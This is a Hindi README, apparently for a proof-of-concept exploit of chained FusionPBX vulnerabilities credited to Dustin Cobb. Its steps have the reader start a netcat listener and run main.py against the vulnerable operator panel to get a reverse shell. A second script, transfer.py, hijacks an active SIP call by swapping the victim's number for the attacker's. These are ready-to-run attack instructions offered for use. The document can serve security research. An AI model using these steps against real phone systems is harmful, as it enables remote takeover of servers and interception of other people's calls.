प्रस्तावना

यह सरल कोड डस्टिन कॉब द्वारा RCE Using Caller ID – Multiple Vulnerabilities In FusionPBX में प्रस्तुत श्रृंखलित भेद्यता के कार्यान्वयन को पूरा करने का प्रयास करता है।

RCE

पुनरुत्पादन चरण

1. वेब ब्राउज़र में भेद्य ऑपरेटर स्क्रीन देखें, जो इस उदाहरण में https://{fusionpbx_address}/app/operator_panel/index.php पर स्थित है।
2. एक दूरस्थ सिस्टम (rce_listener_address) पर netcat लिसनर शुरू करें।
3. दूरस्थ सिस्टम पर दूसरे टर्मिनल विंडो में नीचे दिए गए एक्सप्लॉइट कोड को चलाएँ: python3 .\main.py --close_rce_sockets False --attacker_address {attacker_address} --fusion_pbx_address {fusion_pbx_address} --rce_listener_address {rce_listener_address}
4. एक्सप्लॉइट netcat लिसनर से कनेक्ट होगा और एक रिवर्स शेल प्रदान करेगा।

कॉल को बदलना

जब हम किसी कॉल से Call-ID, from-tag और to-tag जानते हैं, तो नीचे दिए गए कोड को चलाने से आप कॉल में पीड़ित के स्थान पर आ जाएंगे।

पुनरुत्पादन चरण

1. पहले दो SIP UA के बीच एक कॉल शुरू करें।
2. कॉल स्थापित होने के बाद हमें {Call-ID}{semicolon}"to-teg:"{to-tag}"from-tag"{from-tag} को जोड़कर dialog_identifier बनाना होगा।
3. दूरस्थ सिस्टम पर नीचे दिए गए हाईजैकर कोड को चलाएँ और अपने नंबर को पीड़ित संख्या से बदलें: python3 .\transfer.py --attacker_address {attacker_address} --fusion_pbx_address {fusion_pbx_address} --victim_number {victim_number} --dialog_identifier {dialog_identifier}